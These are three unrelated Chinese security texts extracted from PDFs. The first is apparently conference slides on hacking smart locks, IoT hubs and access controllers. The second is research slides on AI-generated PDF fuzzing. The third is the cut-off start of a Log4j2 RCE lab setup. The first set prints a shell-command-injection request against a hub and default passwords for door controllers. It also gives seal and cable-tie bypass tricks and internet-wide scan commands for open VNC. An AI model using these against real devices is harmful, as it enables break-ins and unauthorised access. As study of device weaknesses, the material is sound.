验证正确密码请求 EEPROM 发送正确密码, 以便处理器查证密码 (Plain-Text ⽆无加密) 开锁@物联⺴⽹网时代 I 某编辑对智能锁的评价 … 智能锁— August August 智能锁可以通过蓝⽛牙, 及移设备上的App来管理房⻔门的开关 房⼦子主⼈人也可以通过⺴⽹网络, 对房客设置临时访问权限 (朋友; ⽗父⺟母; ⽔水电⼯工?) August 智能锁安装简单⽅方便, 对已有⻔门锁本⾝身⽆无需过多改动 August 隐患1: 明⽂文密钥 分析其⼿手机APP发现使⽤用的是AES-ECB的⽅方式对本地配置⽂文件进⾏行加密 AES密钥则是明⽂文存储在程序当中: ⼿手机号, ⽤用户 E-mail, 锁 UUID (32bits hex) August 隐患2: 明⽂文 log ⽂文件 . 可以对房客(UserID)设置临时访问权限, 但没有验证机制 . 仅需要提供正确的 锁UUID; UserID 便可得到临时的访问权限 . ⽽而这⼀一切都以明⽂文的形式存储在⼿手机APP 的本地 log ⽂文件当中. . 锁UUID 可以通过⼿手机APP 扫描附近的August ⻔门锁获得 已被⼚厂家打了补丁….. :( 智能锁⺴⽹网关 — WinkHub . 物联⺴⽹网设备的All IN ONE 神器 WinkHub (ARM CPU; RAM; NAND) . 同时⽀支持 WIFI/Bluetooth/Zigbee (2.4G); 915Mhz (Zwave); 433Mhz (RF) . 完美的将不同产品以不同的⽅方式连接在⼀一起 (GE; Nest; Dropcam; Philips) Debug 接⼝口 — UART . 使⽤用标准连接配置 (8 data bits, no parity bits and 1 stop bit) . 波特率参数需要额外设置: 300; 9600; 115200 还是 230400 ? . 可使⽤用 Bus-Pirate 或者 Shikra (传输速度快) 作为设备间的串⼝口连接器 . 确定未知串⾏行设备波特率程序 (https://code.google.com/p/baudrate/) Got ROOT? Command Execution WinkHub ⺴⽹网关可以通过⺴⽹网⻚页的形式对其进⾏行访问 (set_dev_value.php) curl “192.168.01/set_dev_value.php” -d “nodeId=a&attrId=; uname -a;” 已被⼚厂家打了补丁….. :( 边信道 101 不直接对⺫⽬目标(算法)进⾏行攻击, ⽽而通过测量⾳音频,热量,电压等⽅方式获取密码 可通过错误注⼊入(Glitch) 的⽅方式来打乱程序的正常流程, 从⽽而绕过密码检测 错误注⼊入(Glitch) 具有结果难于预测特性 (激光,电压,时钟频率). 边信道 — NAND Glitch NAND Glitch 通过在正确的时间点, 阻⽌止 bootloader 读取正确的数据地址. 从 ⽽而得到root shell. 仅仅需要在正确的时间点, 将数据出⼝口 I/0 pin 同GND 短接 … 正确的时间点 NAND Glitch 可打乱系统正常流程, 但何时开始 & 何时停⽌止呢? 错误时间点的意外收获.... 开锁@物联⺴⽹网时代 II 任何提供安全防护的设备, 都可以理解为锁体系的分⽀支 物理安全防护分⽀支 . 传统物理安全的器件包罗万象, 缆线绑带, 密封贴条 .. . 通常和⻔门锁⼀一起出现的监视器, 警报器,⻔门磁等等 .. 绕过缆线绑带 - Shim . 可使⽤用可乐罐, ⼩小铁⽚片, 甚⾄至⼩小针, 打开所谓卡死的缆线绑带 绕过密封贴条 - 丙酮 . ⽆无⾊色透明液体, 能溶解油, 树脂, 橡胶. 经常⽤用于擦洗塑胶污垢 通过 ZoomEye 可以发现不少暴露在公⺴⽹网的⽤用于安防的系统设备. 熟练使⽤用ZoomEye 或 Shodan 这类搜索引擎, 可使研究⼯工作事半功倍. 听说贡献 dorks 有免费 T-Shirt ;) 通过 Zmap 或 Masscan 进⾏行全⺴⽹网段扫描. 给所有 IPv4 来个体检. 在条件允许的情况下, 完成扫描全⺴⽹网是分分钟的事. 所有设备都将⽆无所遁形. 暴露在公⺴⽹网的安防设备 强⼤大的钟馗之眼 — Envisalink 默认密码隐患 但默认⽤用户&密码却被忽略了!!! EnvisaLink 是具有TCP/IP功能的模块. ⽤用户可 通过⺴⽹网⻚页, ⼿手机来控制警报系统. (user: user) 强⼤大的钟馗之眼 — P372 默认配置隐患 ANPR: 北美⻋车牌监控⾃自动识别系统. ⽀支持 Web, Telnet, FTP 等对其远程控制. 貌似再不⽤用担⼼心闯红灯了!? 安全第⼀一 !!! 强⼤大的钟馗之眼 — Echelon PLC 可通过 Ethernet 管控楼宇间⻔门禁, 照明, 排⽓气等系统 ⾃自带 WEB-Server 和⼈人尽皆知的默认⽤用户名&密码 (ilon) 推荐检查清单列表 ics.zoomeye.org (i.LON 600, i.LON SmartServer) 视频演⽰示: Echelon PLC 强⼤大的钟馗之眼 — S2 NetBox 默认密码隐患 S2 NetBox 默认⽤用户&密码 admin /admin & IEIeMerge/eMerge S2 NetBox ⻔门禁控制器默认开放端⼝口 WEB(80) 强⼤大的SHODAN — HID ⻔门禁控制器 默认密码隐患 HID ⻔门禁控制器默认开放端⼝口 FTP(21), TELNET(23), WEB(80) HID ⻔门禁控制器默认⽤用户&密码 root / pass 全⺴⽹网扫描 — Masscan 全⺴⽹网的 IPv4 地址有 40 亿之多 (4294967295). 包括 Class D, 某些特殊⺴⽹网段. 采⽤用⽆无状态连接, IP 地址分组扫描. 在软硬件环境允许情况下, 3 分钟扫完全⺴⽹网. Masscan 号称世界上最快的扫描软件. 需要根据实际⺴⽹网速控制发包率 (DoS ⾃自⼰己?) https://github.com/robertdavidgraham/masscan Masscan 案例 — VNC 5900 ⺫⽬目前有多少 VNC 远程连接时是不需要密码认证,⽽而直接登陆呢? 通过 VNC 服务可以直接远程对主机或服务器进⾏行监控和操作 masscan 0.0.0.0/0 —exclude 255.255.255.255 -p 5900 nmap —script openvnc.nse -n -Pn -iL vnc.txt -p 5900 > /dev/null VNC 5900 — 图例 VNC 5900 — 图例 VNC 5900 — 图例 VNC 5900 — 图例 VNC 5900 — 图例 VNC 5900 — 图例 总结: @KEVIN2600 Kein System ist Sicher:100% 安全的系统并不存在. ⽆无论多么完美的加密算法,实施过程中的百密⼀一疏,就会导 致系统的安全性完全崩溃. 物理安全不能仅仅寄希望于某套⻔门锁来实现,⽽而是需要⼀一 套完整的安全系统. 如⻔门禁, 警报器等相互配合.
pdf
Fuzzing on train: AI制导PDF文件生成技术的探索之旅 邹权臣 中国信息安全测评中心博士后 马金鑫 中国信息安全测评中心副研究员 个人简介 马金鑫 中国信息安全测评中心 副研究员 北京邮电大学硕士生导师 研究方向:软件安全、漏洞分析 主持多项国家、省部级科研项目,发表20余篇学术论文,获 得软件著作权5项,发明专利2项,曾发现多个0Day漏洞。 邹权臣 中国信息安全测评中心 博士后 研究方向:自动化漏洞分析 负责、参与多项国家、省部级科研项目,发表 多篇学术论文。 [email protected] [email protected] 目录 研究背景 方案设计 实验分析 结论与展望 研究背景 高结构化样本与PDF文件 AI&样本生成 LEARN&FUZZ 高结构化样本与PDF文件 高结构化样本结构复杂,通过规定的语法、语义检查才能被各类解析工具执行 语法检查 语义检查 语法规则 语义规则 PDF、XML、XSL、 JavaScript、HTML等 测试输入 解析执行 Foxit Reader、Adobe Reader、 Chrome、Edge、Firefox等 不通过 通过 通过 不通过 结束 结束 完成 高结构化样本与PDF文件 xref 0 257 0000000000 65535 f 0000000017 00000 n 0000000212 00000 n 0000000231 00000 n 0000000251 00000 n 0000000825 00000 n 0000000876 00000 n trailer <</Info 19 0 R /Root 21 0 R /Size 257/ID[<15481298DAABCC5184A2001C560B476B><6DC090EE200F6EB 5201096388FFC0D37>]>> startxref 320283 %%EOF %PDF-1.3 8 0 obj << /Type /Pages /Kids[ 22 0 R ] /Count 1 >> endobj Header Body Cross- reference table Trailer PDF文件所遵从的 版本号 间接对象地址索引表 由一系列的PDF间接对象组成,如字体、页面、图像等,构成了PDF 文件的具体内容(按大类可分为带stream不带stream的obj) 指明根对象(Catalog),保存了加密等安全信息, 并声明交叉引用表的地址 Adobe Systems Incorporated. PDF Reference, 6th edition, Nov.2006. http://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf reference 1-7.pdf 1310页 209 0 obj << /Type /XObject /Subtype /Image /Width 51 /Height 69 /BitsPerCom ponent 8 /ColorSpace 29 0 R /Length 214 /Filter [ /ASCII85Decode /FlateDecode ] >> Stream … endstream endobj AI&样本生成 AI制导 基于变异的模糊测试 AFL、VUzzer等 基于生成的模糊测试 Peach、Spike、 Jsfunfuzz等 样本合法性弱 人工参与度高 自动化 程度高 合法性 强 具有多 样性 AI&样本生成 arXiv’ 18 S&P’ 17 arXiv’ 17 arXiv’ 18 arXiv’ 17 ASE’ 17 Q-Learning GAN PCSG LSTM LSTM/BLSTM/seq2seq CNN LEARN&FUZZ • 数据集来源:Windows fuzzing team • 初始测试集:63,000 non-binary PDF objects out of 534 PDF files (seed minimization) • 实验数据集:1,000 PDF objects • 模型:LSTM with 2 hidden layers • 实验环境:4-core 64-bit Windows 10 VMs with 20GB of RAM • 训练时长:50 epoch 10 hours • 生成PDF数量:1,000 per 10 epoch • 测试结果(Edge):Pass rate(70%-97%)、 Instruction coverage、Bugs(1) 方案设计 研究方案 数据集构建 模型训练 生成 研究方案 Pdf dataset Build model Model Pdf objs Extract obj/stream New objs Attach to pdf host New pdf files Pdf streams Prefix string LSTM, BLSTM, Attention, etc. Effectiveness measure Coverage Bugs Structure, parameters 1. Dataset construction 2. Training 3. Generation 4. Testing Testsuit Seed minimization Fuzzing Initial samples Target APP Foxit Reader, Adobe Reader, Mupdf, Chrome, Edge et al. Cut the text Load model predict Vectorization Training Crawler Vectorization Fuzzing Save dict dictionary 数据集构建(DATASET CONSTRUCTION) 初始PDF样本集:(Testsuite+Fuzzing) Stillhq.com PDF Database/Mikail's PDF database QualityLogic’s PDF 1.7 Application Test Suite Adobe PDF test suites Ghent Working Group Test Suites PDF cabinet of horrors Pdfium_tests … … 初始样本集 最小集 代码覆盖率 20000+ 251 37.996% obj总数:71,779 stream总数:23,521 32.77%是带stream的obj 验证 集 测试集 训练 集 Pdf dataset Pdf objs Extract obj/stream Pdf streams 1. Dataset construction Testsuit Seed minimization Fuzzing Initial samples Crawler Save dict dictionary 2,956 13,765 55,058 obj分配 语料字典 OBJ字典 {"0": "\n", "1": " ", "2": "!", "3": "\"", "4": "#", "5": "$", "6": "%", "7": "&", "8": "'", "9": "(", "10": ")", "11": "*", "12": "+", "13": ",", "14": "-", "15": ".", "16": "/", "17": "0", "18": "1", "19": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": ":", "28": ";", "29": "<", "30": "=", "31": ">", "32": "?", "33": "@", "34": "A", "35": "B", "36": "C", "37": "D", "38": "E", "39": "F", "40": "G", "41": "H", "42": "I", "43": "J", "44": "K", "45": "L", "46": "M", "47": "N", "48": "O", "49": "P", "50": "Q", "51": "R", "52": "S", "53": "T", "54": "U", "55": "V", "56": "W", "57": "X", "58": "Y", "59": "Z", "60": "[", "61": "\\", "62": "]", "63": "^", "64": "_", "65": "`", "66": "a", "67": "b", "68": "c", "69": "d", "70": "e", "71": "f", "72": "g", "73": "h", "74": "i", "75": "j", "76": "k", "77": "l", "78": "m", "79": "n", "80": "o", "81": "p", "82": "q", "83": "r", "84": "s", "85": "t", "86": "u", "87": "v", "88": "w", "89": "x", "90": "y", "91": "z", "92": "{", "93": "|", "94": "}", "95": "~"} corpus length:11,913,817 total chars: 96 模型训练(TRAINING) 对OBJ进行文本切分,并转换成向量,然后训练模 型,对每一轮的训练结果做离线存储 Build model Model Pdf objs LSTM, BLSTM, Attention, etc. Structure, parameters 2. Training Cut the text Vectorization training 文本切分(CUT THE TEXT) 总字符数:11,913,817 参数设置:maxlen = 50,step = 3 切分后总序列数:3,803,562(Training:3,042,849, validation:760,713) obj << /Type /Page /Parent 33 0 R /Resources 70 0 R /MediaBox [ 0 0 1247 1984 ] /Group << /S /Transparency /CS /DeviceRGB /I true >> /Contents 2 0 R >> endobj sentences next_chars 'obj\n<<\n /Type /Page\n /Parent 33 0 R\n /Resources' ' ' '\n<<\n /Type /Page\n /Parent 33 0 R\n /Resources 70' ' ' '\n /Type /Page\n /Parent 33 0 R\n /Resources 70 0 ' 'R' …… …… 向量化(VECTORIZATION) 编码方式: One-hot Vector/Encoding 输入向量 x(len(sentences), maxlen, len(chars)) 输出向量 y(len(sentences), len(chars)) 序列数量 3,803,562 或256(yield) 单序列长度 50 字典长度 96 模型设计 2层LSTM( LEARN&FUZZ 模型) 2LSTM summary ... _________________________________________________________________ Layer (type) Output Shape Param # ================================================================= lstm_1 (LSTM) (None, 50, 128) 115200 _________________________________________________________________ lstm_2 (LSTM) (None, 128) 131584 _________________________________________________________________ dense_1 (Dense) (None, 96) 12384 _________________________________________________________________ activation_1 (Activation) (None, 96) 0 ================================================================= Total params: 259,168 Trainable params: 259,168 Non-trainable params: 0 模型设计 3层LSTM 2层BLSTM Total params: 505,952 Trainable params: 505,952 Non-trainable params: 0 Total params: 390,752 Trainable params: 390,752 Non-trainable params: 0 模型设计 Total params: 1,856,086 Trainable params: 1,856,086 Non-trainable params: 0 ATTENTION + 2层BLSTM 训练 训练参数:batch_size = 256 epoch = 60 optimizer = adam(lr=1e-4),loss='categorical_crossentropy' zit@Zitsec:~/zou/Longma$ python3 pdf_obj_model_training.py ……. Using TensorFlow backend. 2018-08-20 09:43:28.161940: I tensorflow/core/platform/cpu_feature_guard.cc:140] Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2 FMA 2018-08-20 09:43:31.231878: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1356] Found device 0 with properties: name: TITAN Xp COLLECTORS EDITION major: 6 minor: 1 memoryClockRate(GHz): 1.582 pciBusID: 0000:02:00.0 totalMemory: 11.91GiB freeMemory: 11.74GiB 2018-08-20 09:43:31.231953: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1435] Adding visible gpu devices: 0 2018-08-20 09:43:31.623790: I tensorflow/core/common_runtime/gpu/gpu_device.cc:923] Device interconnect StreamExecutor with strength 1 edge matrix: 2018-08-20 09:43:31.623856: I tensorflow/core/common_runtime/gpu/gpu_device.cc:929] 0 2018-08-20 09:43:31.623868: I tensorflow/core/common_runtime/gpu/gpu_device.cc:942] 0: N 2018-08-20 09:43:31.624255: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1053] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:0 with 11370 MB memory) -> physical GPU (device: 0, name: TITAN Xp COLLECTORS EDITION, pci bus id: 0000:02:00.0, compute capability: 6.1) Epoch 1/60 63232/3042849 [..............................] - ETA: 1:10:50 - loss: 3.6259 - acc: 0.2304 生成(GENERATION) 选取PREFIX STRING,向量化,加载模型,预测生成OBJ,并由OBJ生成PDF Model new objs Attach to pdf host New pdf files Prefix string Structure, parameters 3. Generation Load model predict Vectorization 生成(GENERATION) OBJ生成 PDF生成 样本生成阶段的两个重要的进程池 • 并行加载多个模型进行推断 • 并行生成多批次的obj和PDF样本 • 缩短实验周期,增强模型的可扩展性 Pdf生成主 进程 Model new objs new objs new objs new pdfs new pdfs new pdfs Structure, parameters Model Model 进程池 obj生成主 进程 子进程1 子进程2 子进程n 进程池 子进程1 子进程2 子进程n OBJ生成 • 若生成完整OBJ,则加入列表中; • 若生成长度超过阈值,则回退、丢弃已生成的字符,重新从测试集中选择PREFIX生成 max_gen_len = 2000 前缀字符 串Prefix 选取obj前 缀字符串 转换成向 量 预测 Model 加载模型 加入到obj 字符串中 窗口向前移 动一个字符 采样 是否生成完整 obj 否 加入到obj 列表中 是 是否超过限定 长度 是 否 删除已生成的 obj字符串 索引 字典 下一个 字符 new objects 测试集 OBJ生成 1.0 0.2 0.5 0.8 1.2 1.5 1.8 概率分布差异性变小,生成文 本随机性变强,趋向于多样性、 随机的数据 概率分布差异性变大,生成 文本有序性变强,更接近真 实值的数据 temperature 采样函数 PDF生成 host new obj1 new obj2 new objn Header Body Cross-reference table Trailer obj Cross-reference table Trailer obj Cross-reference table Trailer obj Cross-reference table Trailer new obj Host pdf 附加新的obj到 pdf文件末尾 添加新的交 叉引用表 是否达到修改数量 定位host文件 trailer偏移 添加新的 trailer 是 否 以增量更新(Incremental update)的方式把新生成的obj附加到 host文件的末尾,实现对host文件中obj的更新和替换 PDF生成 宿主文件(HOST) 来源:pdfium测试集 大小:317 KB obj总数:257 obj替换比例:1/10 实验分析 模型训练及样本生成 PDF样本测试 模型训练及样本生成 实验环境 模型训练结果分析 OBJ样本生成结果分析 PDF样本生成结果分析 实验环境 硬件环境 开发环境 前端 后端 Python 3.5 Ubuntu-16.04.2-desktop-amd64 TITAN Xp COLLECTORS EDITION X4 E5-2683 v4 X2 256G 模型训练结果分析 训练轮次:60 zit@Zitsec:~/zou/Longma/pdf_corpus/saved_models/2BLSTM_epochs60$ ll total 358568 drwxrwxr-x 2 zit zit 4096 7月 8 05:11 ./ drwxrwxrwx 34 zit zit 4096 8月 15 14:49 ../ -rw-rw-r-- 1 zit zit 6116568 7月 5 12:16 2BLSTM_epoch01.h5 -rw-rw-r-- 1 zit zit 6116568 7月 5 13:20 2BLSTM_epoch02.h5 -rw-rw-r-- 1 zit zit 6116568 7月 5 14:24 2BLSTM_epoch03.h5 -rw-rw-r-- 1 zit zit 6116568 7月 5 15:29 2BLSTM_epoch04.h5 -rw-rw-r-- 1 zit zit 6116568 7月 5 16:33 2BLSTM_epoch05.h5 -rw-rw-r-- 1 zit zit 6116568 7月 5 17:37 2BLSTM_epoch06.h5 -rw-rw-r-- 1 zit zit 6116568 7月 5 18:41 2BLSTM_epoch07.h5 -rw-rw-r-- 1 zit zit 6116568 7月 5 19:46 2BLSTM_epoch08.h5 -rw-rw-r-- 1 zit zit 6116568 7月 5 20:50 2BLSTM_epoch09.h5 -rw-rw-r-- 1 zit zit 6116568 7月 5 21:54 2BLSTM_epoch10.h5 -rw-rw-r-- 1 zit zit 6116568 7月 5 22:58 2BLSTM_epoch11.h5 -rw-rw-r-- 1 zit zit 6116568 7月 6 00:02 2BLSTM_epoch12.h5 -rw-rw-r-- 1 zit zit 6116568 7月 6 01:06 2BLSTM_epoch13.h5 -rw-rw-r-- 1 zit zit 6116568 7月 6 02:10 2BLSTM_epoch14.h5 -rw-rw-r-- 1 zit zit 6116568 7月 6 03:15 2BLSTM_epoch15.h5 -rw-rw-r-- 1 zit zit 6116568 7月 6 04:19 2BLSTM_epoch16.h5 -rw-rw-r-- 1 zit zit 6116568 7月 6 05:23 2BLSTM_epoch17.h5 -rw-rw-r-- 1 zit zit 6116568 7月 6 06:27 2BLSTM_epoch18.h5 -rw-rw-r-- 1 zit zit 6116568 7月 6 07:31 2BLSTM_epoch19.h5 -rw-rw-r-- 1 zit zit 6116568 7月 6 08:36 2BLSTM_epoch20.h5 -rw-rw-r-- 1 zit zit 6116568 7月 6 09:40 2BLSTM_epoch21.h5 - 模型 参数 训练时间 模型文件 大小(M) 2LSTM 259,168 1d 11h 0m 35s 3.00 3LSTM 390,752 2d 1h 38m 49s 4.51 2BLSTM 505,952 2d 16h 54m 57s 5.83 Attention 1,800,786 3d 2h 49m 5s 21.30 ACC曲线 LOSS曲线 OBJ生成结果分析 单进程生成10,000个obj 共计210,000obj 时长:≈7小时 单进程总时长:7*21 = 147小时 单个文件大小:≈1.5MB zit@Zitsec:~/zou/Longma/pdf_corpus/generated_objs/minset3/final_test_1wobj$ ll total 179956 drwxrwxr-x 4 zit zit 20480 8月 17 11:31 ./ drwxrwxr-x 15 zit zit 4096 8月 15 17:23 ../ -rw-rw-r-- 1 zit zit 731780 8月 16 01:42 2BLSTM_epoch10.h5_diversity0.2.txt -rw-rw-r-- 1 zit zit 1122762 8月 14 17:42 2BLSTM_epoch10.h5_diversity0.5.txt -rw-rw-r-- 1 zit zit 1508494 8月 16 10:03 2BLSTM_epoch10.h5_diversity0.8.txt -rw-rw-r-- 1 zit zit 1784072 8月 15 04:49 2BLSTM_epoch10.h5_diversity1.0.txt -rw-rw-r-- 1 zit zit 2209887 8月 16 21:15 2BLSTM_epoch10.h5_diversity1.2.txt -rw-rw-r-- 1 zit zit 2462241 8月 15 13:19 2BLSTM_epoch10.h5_diversity1.5.txt -rw-rw-r-- 1 zit zit 2828212 8月 17 09:05 2BLSTM_epoch10.h5_diversity1.8.txt -rw-rw-r-- 1 zit zit 915555 8月 16 02:21 2BLSTM_epoch20.h5_diversity0.2.txt -rw-rw-r-- 1 zit zit 982013 8月 14 17:44 2BLSTM_epoch20.h5_diversity0.5.txt -rw-rw-r-- 1 zit zit 1252198 8月 16 10:18 2BLSTM_epoch20.h5_diversity0.8.txt -rw-rw-r-- 1 zit zit 1229084 8月 14 23:16 2BLSTM_epoch20.h5_diversity1.0.txt -rw-rw-r-- 1 zit zit 1318517 8月 16 17:46 2BLSTM_epoch20.h5_diversity1.2.txt -rw-rw-r-- 1 zit zit 1802129 8月 15 06:04 2BLSTM_epoch20.h5_diversity1.5.txt -rw-rw-r-- 1 zit zit 2138562 8月 17 04:30 2BLSTM_epoch20.h5_diversity1.8.txt -rw-rw-r-- 1 zit zit 693064 8月 15 23:23 2BLSTM_epoch30.h5_diversity0.2.txt -rw-rw-r-- 1 zit zit 1109692 8月 14 16:43 2BLSTM_epoch30.h5_diversity0.5.txt -rw-rw-r-- 1 zit zit 1441973 8月 16 08:38 2BLSTM_epoch30.h5_diversity0.8.txt -rw-rw-r-- 1 zit zit 1484294 8月 15 02:13 2BLSTM_epoch30.h5_diversity1.0.txt -rw-rw-r-- 1 zit zit 1477235 8月 16 16:46 2BLSTM_epoch30.h5_diversity1.2.txt -rw-rw-r-- 1 zit zit 1551167 8月 15 08:48 2BLSTM_epoch30.h5_diversity1.5.txt PDF生成结果分析 单进程生成10,000个PDF 时长:≈10min 单个大小:≈380KB 1w个文件大小:≈3.7GB 21个模型,共计21w 样本,共77.7G -rw-rw-r-- 1 zit zit 339179 8月 13 09:43 9476.pdf -rw-rw-r-- 1 zit zit 338730 8月 13 09:43 9477.pdf -rw-rw-r-- 1 zit zit 338794 8月 13 09:43 9478.pdf -rw-rw-r-- 1 zit zit 335113 8月 13 09:43 9479.pdf -rw-rw-r-- 1 zit zit 339384 8月 13 09:43 9480.pdf -rw-rw-r-- 1 zit zit 339398 8月 13 09:43 9481.pdf -rw-rw-r-- 1 zit zit 335495 8月 13 09:43 9482.pdf -rw-rw-r-- 1 zit zit 343490 8月 13 09:43 9483.pdf -rw-rw-r-- 1 zit zit 336621 8月 13 09:43 9484.pdf -rw-rw-r-- 1 zit zit 358054 8月 13 09:43 9485.pdf -rw-rw-r-- 1 zit zit 345598 8月 13 09:43 9486.pdf -rw-rw-r-- 1 zit zit 342540 8月 13 09:43 9487.pdf -rw-rw-r-- 1 zit zit 342989 8月 13 09:43 9488.pdf -rw-rw-r-- 1 zit zit 345923 8月 13 09:43 9489.pdf -rw-rw-r-- 1 zit zit 1221730 8月 13 09:43 9490.pdf -rw-rw-r-- 1 zit zit 355457 8月 13 09:43 9491.pdf -rw-rw-r-- 1 zit zit 413066 8月 13 09:43 9492.pdf -rw-rw-r-- 1 zit zit 353369 8月 13 09:43 9493.pdf -rw-rw-r-- 1 zit zit 337955 8月 13 09:43 9494.pdf -rw-rw-r-- 1 zit zit 348164 8月 13 09:43 9495.pdf -rw-rw-r-- 1 zit zit 340569 8月 13 09:43 9496.pdf -rw-rw-r-- 1 zit zit 340363 8月 13 09:43 9497.pdf -rw-rw-r-- 1 zit zit 340621 8月 13 09:43 9498.pdf -rw-rw-r-- 1 zit zit 343950 8月 13 09:43 9499.pdf -rw-rw-r-- 1 zit zit 336692 8月 13 09:43 9500.pdf -rw-rw-r-- 1 zit zit 345394 8月 13 09:43 9501.pdf PDF生成样本示例 HOST 生成样本1 生成样本2 PDF生成样本示例 HOST 生成样本3 生成样本4 PDF样本测试 代码覆盖率测试 漏洞挖掘测试 测试(TESTING) • 代码覆盖率测试 • 漏洞挖掘测试 New pdf files Effectiveness measure Coverage Bugs 4. Testing Target APP Foxit Reader, Adobe Reader, Mupdf, Chrome, Edge et al. Fuzzing 代码覆盖率测试 代码覆盖率是评估样本质量的较好的量化指标! 代码覆盖率 = SUM(程序执行代码) / 程序总代码 微软还采用了通过率作为评估参数之一,通过 率仅能反映所生成样本是否符合既定的格式规 约,而代码覆盖率则能直接反映样本是否能探索 到更多的路径或代码,对于漏洞挖掘具有较好的 指示作用。 —j00ru,Project Zero,DragonSector WHY MUPDF?  静态链接,所有库all in one file  功能全,支持各种形式stream  轻量级,易插桩  几乎无bug,测试数据更准确  Open source ,易分析 采用MuPDF作 为测试代码覆 盖率的载体 最小集后 的样本数 代码覆盖率 251 37.996% 代码覆盖率测试 PIN BITMAP文件 分析BITMAP 文件 样本 MuPDF 样本 样本 代码覆盖率 PIN作为商业的轻量级插桩工具,具有 较好的性能和稳定性表现。 优化:  基本块级插桩  CPUKill  1bit 表示1 Byte, Zlib压缩 插桩后:打开1个PDF文件需要5秒 左右。 *NOTES*:对于有些弹框需模拟点击,以使 样本能充分测试。 代码覆盖率测试 PINAFL — 基于PIN实现了AFL的 WINDOWS版本 • 运行了1天3小时 • 20,000多次变异 • 发现了327条新的路径,即产生了 327个新的测试用例。 • 代码覆盖率为:38.077% 覆盖率计算 监控模块 (PIN) 变异模块 样本文件 目标程序 插桩 是否产生新 路径 样本队列模块 是 取top 变异 放弃当前 样本 否 未修改AFL的变异算法和调度算法,因此 能较真实体现AFL的水平 结果分析 2LSTM 3LSTM 2BLSTM Attention 0.2 38.103 38.108 0.5 38.107 38.133 1.0 38.099 38.125 38.140 38.122 1.5 38.088 38.091 38.099 38.120 采样值对代码覆盖率的影响 轮次:60 测试时长:13.89*16=222.24小时 代码覆盖率最高提升0.3%,约20,000+指令 37.95 38 38.05 38.1 38.15 38.2 38.25 38.3 38.35 0.2 0.5 1 1.5 采样值与代码覆盖率 2LSTM 3LSTM 2BLSTM Attention 数据集基础覆盖率:37.996% PinAFL覆盖率: 38.077%,+0.081% Learn&Fuzz覆盖率:38.113%,+0.117% 结果分析 训练轮次对代码覆盖率的影响 模型:2BLSTM 采样值:0.5 测试时长:13.89*5= 69.45小时 轮次 代码覆盖率 10 38.064 20 38.108 30 38.123 40 38.130 50 60 38.133 38.02 38.04 38.06 38.08 38.1 38.12 38.14 38.16 10 20 30 40 50 60 训练轮次与代码覆盖率 漏洞挖掘测试 采用我们的方案生成的PDF文件, 对Foxit Reader、Power PDF、 Corel PDF、Cool PDF、 Nitro PDF等软件进行了测试。 采用集群漏洞分析系统作为测试平 台,分别为每个测试对象分配了20台 虚拟机,测试时间为1天,测试样本 数为:210,000 结果分析 软件名 crash数量 去重后 漏洞类型 powerPDF 4520 28 TaintedDataControlsWriteAddress、StackOverflow、T aintedDataControlsBranchSelection 、 ReadAVonContr olFlow、TaintedDataControlsBranchSelection等 corelPDF 23560 78 WriteAV、ReadAV、TaintedDataControlsBranchSelect ion、DivideByZero等 coolPDF 468 8 TaintedDataReturnedFromFunction、TaintedDataCon trolsWriteAddress、ReadAVNearNull等 Nitropdf Reader 256 5 TaintedDataControlsBranchSelection、TaintedDataPa ssedToFunction等 Foxit92 10265 27 TaintedDataControlsCodeFlow、ReadAV、DivideByZe ro、StackOverflow等 Foxit91 2783 18 TaintedDataPassedToFunction、TaintedDataReturned FromFunction、StackOverflow等 总数 其中某个漏洞已经被判定为可利用! 结论与展望 结论 展望 结论 1. 本方案实现了一种基于AI制导的PDF文件生成技术,方案具有以下特性: • 支持Char-level的学习 • 支持LSTM、BLSTM、Attention机制网络模型 • 支持基于离线模型、字典和多采样值的obj生成(进程池) • 支持基于离线obj文件的PDF样本生成(进程池) 2. 对不同模型及不同参数进行了较严谨的测试,在本次测试中,高训练轮次、低采样值生 成的样本具有更高的代码覆盖率,其中2BLSTM模型60轮采样值0.2的表现效果最佳; 3. 本方案可落地实现为一种新的样本变异策略,可单独生成样本用于漏洞挖掘,也可作为 AFL等工具的前端,但还不能完全取代当前主流Fuzzer。 展望 1. 支持更多的结构化样本格式的学习和生成,如XML、XSL、JavaScript、HTML、 AS等 2. 训练二进制格式(PNG、MKV、ZIP等),看是否能生成较通用的模型。难点:校验和、二进制规律性不强 3. 把生成的样本交给AFL进行Fuzzing,看能否增强AFL本身的性能; 4. 单一模型与多模型组合比对 5. 交互方式训练模型:GAN 参考资源 • Adobe Systems Incorporated. PDF Reference, 6th edition, Nov.2006. Available at http://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf reference 1-7.pdf • Wang J, Chen B, Wei L, et al. Skyfire: Data-driven seed generation for fuzzing. Security and Privacy (SP), 2017 IEEE Symposium on. IEEE, 2017: 579-594. • https://patricegodefroid.github.io/ • https://patricegodefroid.github.io/public_psfiles/SAGE-in-1slide-for-PLDI2013.pdf • Godefroid P, Peleg H, Singh R. Learn&fuzz: Machine learning for input fuzzing. Proceedings of the 32nd IEEE/ACM International Conference on Automated Software Engineering. IEEE Press, 2017: 50-59. • https://github.com/keras-team/keras/blob/master/examples/lstm_text_generation.py • https://github.com/philipperemy/keras-attention-mechanism 谢 谢!
pdf
S-log4j2RCE 说明 log4j2 与 log4j 属于不同项目,且二者的配置方式也存在差异, log4j 是通过 log4j.properties 来进行配置的,而 log4j2 是通过 xml 文件来进行配置的。 环境搭建 pom.xml 测试代码 在众多测试代码当中大家都是利用 Logger.error() 来触发漏洞但,根据 log4j2 的默认漏洞级别 trace<debug<info<warn<error<fatal , error 和 fatal 两个级别的日志会打印到控制台,同 时也会触发漏洞,当然还可以通过配置文件获取动态级别两个方式调整。 1. 默认缺省配置 <dependencies>   <dependency>      <groupId>log4j</groupId>      <artifactId>log4j</artifactId><!--用于配置log4j-->      <version>1.2.17</version>   </dependency>   <dependency>      <groupId>org.apache.logging.log4j</groupId>      <artifactId>log4j-core</artifactId><!--用于配置log4j2-->      <version>2.13.2</version>   </dependency> </dependencies> import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; //包导入包含了log4j,不要导错包了 public class log4j2RCE {    private static final Logger logger= 